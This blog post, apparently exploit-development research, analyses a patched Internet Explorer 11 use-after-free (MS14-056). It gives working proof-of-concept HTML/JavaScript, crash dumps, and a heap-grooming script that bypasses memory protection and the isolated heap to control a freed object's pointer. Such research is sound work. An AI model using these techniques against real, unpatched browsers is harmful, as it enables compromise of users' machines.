USE-AFTER-FREE NOT DEAD IN INTERNET EXPLORER: PART 1
In HITCON X, we talked about bypassing new exploit mitigation in Internet Explorer. In this post, we will use a use-after-free vulnerability which has been patched in MS14-056 to explain how to bypass memory protection and isolated heap in Windows 8.1.
Let's look into the following code first:
<!DOCTYPE html> <html> <head> <title>test</title> <script> function listener(event) { head.removeNode(true); } function test() { var object = document.createElement("object"); head = document.getElementsByTagName("head")[0]; head.applyElement(object, "inside"); object.addEventListener("error", listener, false); var range = document.createRange(); range.setStartAfter(object); range.insertNode(object); object["innerHTML"] = object["innerHTML"]; document.write(""); } </script> </head> <body onload="test()"></body> </html>
Internet Explorer 11 will crash here with page heap enabled and memory protection disabled:
(29c.98c): Access violation - code c0000005 (!!! second chance !!!) eax=00000005 ebx=07530fe8 ecx=04109fc0 edx=04151cd4 esi=00000005 edi=04109fc0 eip=613fb9fc esp=03eaa89c ebp=03eaa8a4 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206 MSHTML!CElement::GetFirstCp+0x7: 613fb9fc 8b411c mov eax,dword ptr [ecx+1Ch] ds:0023:04109fdc=???????? 0:005> !heap -p-a ecx address 04109fc0 found in _DPH_HEAP_ROOT @ 40b1000 in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize) 40b16e4: 4109000 2000 *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Windows\system32\verifier.dll - 6e258fc2 verifier!VerifierDisableFaultInjectionExclusionRange+0x00003232 770e48fc ntdll!RtlDebugFreeHeap+0x00000032 770a5ed1 ntdll!RtlpFreeHeap+0x00069d01 7703be35 ntdll!RtlFreeHeap+0x00000485 6159def9 MSHTML!MemoryProtection::CMemoryProtector::ProtectedFree+0x00000122 614a0bb5 MSHTML!CNoShowElement::`vector deleting destructor'+0x0000002d 610359df MSHTML!CBase::SubRelease+0x0000002e 6146c702 MSHTML!CElement::Release+0x00000018 61442fdd MSHTML!CSpliceRecordList::~CSpliceRecordList+0x0000006e 61050506 MSHTML!CDoc::CutCopyMove+0x00002181 610d3f58 MSHTML!RemoveWithBreakOnEmpty+0x00000068 6105243d MSHTML!InjectHtmlStream+0x0000021b 6100226e MSHTML!HandleHTMLInjection+0x00000091 61476894 MSHTML!CElement::InjectInternal+0x000002a9 6104f7ad MSHTML!CElement::InjectTextOrHTML+0x0000016d 6104fa09 MSHTML!CFastDOM::CHTMLElement::Trampoline_Set_innerHTML+0x00000056 6cef8e9d jscript9!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x00000165 6cef9712 jscript9!<lambda_73b9149c3f1de98aaab9368b6ff2ae9d>::operator()+0x0000006b 6cf471af jscript9!Js::JavascriptOperators::SetProperty_Internal<0>+0x000000bd 6cf46ea2 jscript9!Js::JavascriptOperators::OP_SetProperty+0x00000040 6cf46ee3 jscript9!Js::JavascriptOperators::PatchPutValueNoFastPath+0x0000004d 6cf478fc jscript9!Js::InterpreterStackFrame::Process+0x00002d6d 6cef6548 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x000001e8 0:005> k ChildEBP RetAddr 03eaa8a4 61677ba1 MSHTML!CElement::GetFirstCp+0x7 03eaa8c4 61479cec MSHTML!CTitleElement::Notify+0x5d4c84 03eaadf4 6105248c MSHTML!CDoc::CutCopyMove+0x1b4b 03eaaf44 6100226e MSHTML!InjectHtmlStream+0x26a 03eaaf88 61476894 MSHTML!HandleHTMLInjection+0x91 03eab080 6104f7ad MSHTML!CElement::InjectInternal+0x2a9 03eab100 6104fa09 MSHTML!CElement::InjectTextOrHTML+0x16d 03eab128 6cef8e9d MSHTML!CFastDOM::CHTMLElement::Trampoline_Set_innerHTML+0x56 03eab190 6cef9712 jscript9!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x165 03eab1b0 6cef967e jscript9!<lambda_73b9149c3f1de98aaab9368b6ff2ae9d>::operator()+0x6b 03eab1f8 6cf471af jscript9!Js::JavascriptOperators::CallSetter+0x76 03eab220 6cf46ea2 jscript9!Js::JavascriptOperators::SetProperty_Internal<0>+0xbd 03eab240 6cf46ee3 jscript9!Js::JavascriptOperators::OP_SetProperty+0x40 03eab27c 6cf478fc jscript9!Js::JavascriptOperators::PatchPutValueNoFastPath+0x4d 03eab5c8 6cef6548 jscript9!Js::InterpreterStackFrame::Process+0x2d6d 03eab704 07620fd9 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x1e8 WARNING: Frame IP not in any known module. Following frames may be wrong. 03eab710 6cef6ce9 0x7620fd9 03eaba58 6cef6548 jscript9!Js::InterpreterStackFrame::Process+0x1cd7 03eabb74 07620fe1 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x1e8 03eabb80 6cef0685 0x7620fe1 03eabbc8 6cef100e jscript9!Js::JavascriptFunction::CallFunction<1>+0x88 03eabc34 6cef0f60 jscript9!Js::JavascriptFunction::CallRootFunction+0x93 03eabc7c 6cef0ee7 jscript9!ScriptSite::CallRootFunction+0x42 03eabca4 6cef993c jscript9!ScriptSite::Execute+0x6c 03eabd00 6cef9878 jscript9!ScriptEngineBase::ExecuteInternal<0>+0xbb 03eabd18 610fb78f jscript9!ScriptEngineBase::Execute+0x1c 03eabdcc 610fb67c MSHTML!CListenerDispatch::InvokeVar+0x102 03eabdf8 610fb21e MSHTML!CListenerDispatch::Invoke+0x61 03eabe90 6159cfe0 MSHTML!CEventMgr::_InvokeListeners+0x1a2 03eabea8 61469d60 MSHTML!CEventMgr::_InvokeListenersOnWindow+0x42 03eabf30 610fb385 MSHTML!CEventMgr::_InvokeListeners+0xe5 03eac0a0 60ef98bb MSHTML!CEventMgr::Dispatch+0x35a 03eac0c8 60f2f149 MSHTML!CEventMgr::DispatchEvent+0x8c 03eac0f8 60f2f774 MSHTML!COmWindowProxy::Fire_onload+0x120 03eac158 60f2ea16 MSHTML!CMarkup::OnLoadStatusDone+0x412 03eac16c 60f2e2e3 MSHTML!CMarkup::OnLoadStatus+0xc2 03eac5b0 60f290bd MSHTML!CProgSink::DoUpdate+0x4a7 03eac5bc 60e81f12 MSHTML!CProgSink::OnMethodCall+0x12 03eac600 60e68dda MSHTML!GlobalWndOnMethodCall+0x12c *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Windows\system32\user32.dll - 03eac64c 76e675b3 MSHTML!GlobalWndProc+0x15c 03eac678 76e677b8 user32!gapfnScSendMessage+0x18b 03eac6f8 76e679e6 user32!gapfnScSendMessage+0x390 03eac758 76e6783b user32!DispatchMessageW+0x1bb *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Windows\SYSTEM32\IEFRAME.dll - 03eac764 67478eb4 user32!DispatchMessageW+0x10 03eaf930 674b0a07 IEFRAME!DllCanUnloadNow+0x1541 *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Windows\SYSTEM32\iertutil.dll - 03eaf9e8 6fcc6bac IEFRAME!SetQueryNetSessionCount+0x486 *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Internet Explorer\IEShims.dll - 03eaf9f8 6e21bcf2 iertutil!Ordinal101+0x3b7 *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Windows\system32\KERNEL32.DLL - 03eafa24 753917ad IEShims!IEShims_CreateWindowEx+0x3607 03eafa30 77063af4 KERNEL32!BaseThreadInitThunk+0x12 03eafa74 77063acd ntdll!__RtlUserThreadStart+0x20 03eafa84 00000000 ntdll!_RtlUserThreadStart+0x1b
It's a CTitleElement use-after-free vulnerability. However, Internet Explorer won't crash if we enable memory protection, so we add CollectGarbage2 into the code:
<!DOCTYPE html> <html> <head> <title>test</title> <script> function CollectGarbage2() { var button = document.createElement("button"); button.title = new Array(100000).join("0"); button.title = null; CollectGarbage(); } function listener(event) { head.removeNode(true); } function test() { var object = document.createElement("object"); head = document.getElementsByTagName("head")[0]; head.applyElement(object, "inside"); object.addEventListener("error", listener, false); var range = document.createRange(); range.setStartAfter(object); range.insertNode(object); object["innerHTML"] = object["innerHTML"]; CollectGarbage2(); document.write(""); } </script> </head> <body onload="test()"></body> </html>
Internet Explorer 11 will crash here:
(418.172c): Access violation - code c0000005 (!!! second chance !!!) eax=04959fc0 ebx=049a1b00 ecx=06437fe8 edx=04959ff8 esi=049cffc0 edi=046fac08 eip=61003419 esp=046fabd4 ebp=046fabec iopl=0 nv up ei ng nz na pe cy cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010287 MSHTML!CTitleElement::Notify+0xcd: 61003419 8b02 mov eax,dword ptr [edx] ds:0023:04959ff8=????????
We've bypassed memory protection obviously. Let's look into MSHTML!CTitleElement::Notify:
.text:63857828 loc_63857828: .text:63857828 test eax, eax .text:6385782A jz short loc_63857834 .text:6385782C cmp eax, esi .text:6385782E jnz loc_63783416
.text:63783416 loc_63783416: .text:63783416 lea edx, [eax+38h] .text:63783419 mov eax, [edx] ; retrieve freed CTitleElement and use .text:6378341B jmp loc_63857828
We need to control 0x38 of CTitleElement accordingly. In HITCON X, we manipulate LFH to bypass isolated heap in Windows 7. However, Windows 8 introduces frontend allocation randomization, so manipulating LFH is not a good solution. But backend allocation is not randomized, which can be used to bypass isolated heap.
Let's look into the following code first:
<!DOCTYPE html> <html> <head> <script> function CollectGarbage2() { var button = document.createElement("button"); button.title = new Array(100000).join("0"); button.title = null; CollectGarbage(); } var junk = new Array(); for (var i = 0; i < 4; i++) { junk[i] = document.createElement("title"); } var title = new Array(); for (var i = 0; i < 4; i++) { title[i] = document.createElement("title"); } title[2] = null; CollectGarbage2(); CollectGarbage2(); // 1 </script> <title>test</title> <script> function listener(event) { head.removeNode(true); } function test() { // 2 var object = document.createElement("object"); head = document.getElementsByTagName("head")[0]; head.applyElement(object, "inside"); object.addEventListener("error", listener, false); var range = document.createRange(); range.setStartAfter(object); range.insertNode(object); object["innerHTML"] = object["innerHTML"]; title[0] = null; title[1] = null; title[3] = null; CollectGarbage2(); CollectGarbage2(); // 3 var area = new Array(); for (var i = 0; i < 0x11; i++) { area[i] = document.createElement("area"); } for (var i = 0; i < 0x11; i++) { area[i].shape = "rect"; area[i].coords = "1094795585,1094795585,1094795585,1094795585"; } // 4 document.write(""); } </script> </head> <body onload="test()"></body> </html>
We disable page heap to see how to bypass isolated heap.
1. First, we create 4 CTitleElement to prevent heap coalescing with previous heap. Then, we create another 4 CTitleElement and make a hole.
030e4500 0009 0009 [00] 030e4508 00040 - (busy) // junk[3] MSHTML!CTitleElement::`vftable' 030e4548 0009 0009 [00] 030e4550 00040 - (busy) // title[0] MSHTML!CTitleElement::`vftable' 030e4590 0009 0009 [00] 030e4598 00040 - (busy) // title[1] MSHTML!CTitleElement::`vftable' 030e45d8 0009 0009 [00] 030e45e0 00040 - (free) // hole 030e4620 0009 0009 [00] 030e4628 00040 - (busy) // title[3] MSHTML!CTitleElement::`vftable'
2. We fill the hole with the use-after-free CTitleElement. We need to control 0x030e45e0 + 0x38.
030e4500 0009 0009 [00] 030e4508 00040 - (busy) // junk[3] MSHTML!CTitleElement::`vftable' 030e4548 0009 0009 [00] 030e4550 00040 - (busy) // title[0] MSHTML!CTitleElement::`vftable' 030e4590 0009 0009 [00] 030e4598 00040 - (busy) // title[1] MSHTML!CTitleElement::`vftable' 030e45d8 0009 0009 [00] 030e45e0 00040 - (busy) // the use-after-free CTitleElement MSHTML!CTitleElement::`vftable' 030e4620 0009 0009 [00] 030e4628 00040 - (busy) // title[3] MSHTML!CTitleElement::`vftable'
3. We trigger freeing of the use-after-free CTitleElement and free other CTitleElement of the title array to trigger heap coalescing.
030e4500 0009 0009 [00] 030e4508 00040 - (busy) // junk[3] MSHTML!CTitleElement::`vftable' 030e4548 0024 0009 [00] 030e4550 00118 - (free) // coalesced heap
4. We fill the coalesced heap with CAreaElement to control 0x030e45e0 + 0x38.
030e4500 0009 0009 [00] 030e4508 00040 - (busy) MSHTML!CTitleElement::`vftable' 030e4548 000e 0009 [00] 030e4550 00064 - (busy) MSHTML!CAreaElement::`vftable' 030e45b8 000e 000e [00] 030e45c0 00064 - (busy) MSHTML!CAreaElement::`vftable'
0:006> dd 0x030e45e0 + 0x38 030e4618 41414141 00000000 00000001 00000000 030e4628 64548e48 0000d8fa 030e4cf0 030e58a0 030e4638 00000000 00000000 00000000 00000000 030e4648 00000000 00000000 00000000 00000000 030e4658 00000000 00000000 00000000 00000000 030e4668 61558e4c 0800d8fc 00000000 00000000 030e4678 00000000 00000000 00000000 00000000 030e4688 00000000 00000000 00000000 00000000
As we can see, we've bypassed isolated heap.
(818.a74): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=41414141 ebx=030e5300 ecx=00ae7f88 edx=41414179 esi=030e7400 edi=02fdabd8 eip=72cd3419 esp=02fdaba4 ebp=02fdabbc iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206 MSHTML!CTitleElement::Notify+0xcd: 72cd3419 8b02 mov eax,dword ptr [edx] ds:002b:41414179=????????
'취약점 정보1' 카테고리의 다른 글
WordPress 긴급 보안 업데이트 (0) | 2015.04.30 |
---|---|
InFocus IN3128HD Projector Multiple Vulnerabilities (0) | 2015.04.30 |
WordPress 4.1.2 Security Release (0) | 2015.04.26 |
Ubuntu local privilege escalation posted to oss-security (still unpatched; includes PoC) (0) | 2015.04.26 |
Android wpa_supplicant WLAN Direct remote buffer overflow (0) | 2015.04.24 |